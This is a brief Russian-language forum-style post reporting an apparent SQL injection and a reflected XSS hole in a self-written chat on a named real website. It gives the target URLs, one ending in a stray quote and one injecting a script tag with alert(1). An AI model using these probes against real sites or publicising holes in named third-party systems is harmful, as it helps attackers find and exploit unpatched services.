вот еще посерьезней уязвимость.- sql инжекшн.
как я понмаю, это самописный чат какой-то. никогда раньше таких не видел...

http://www.telecom7.ru/Chat/Img.php?id=211578'

вот еще xss

http://www.telecom7.ru/Chat/info.php?i=</title><script>alert(1)</script>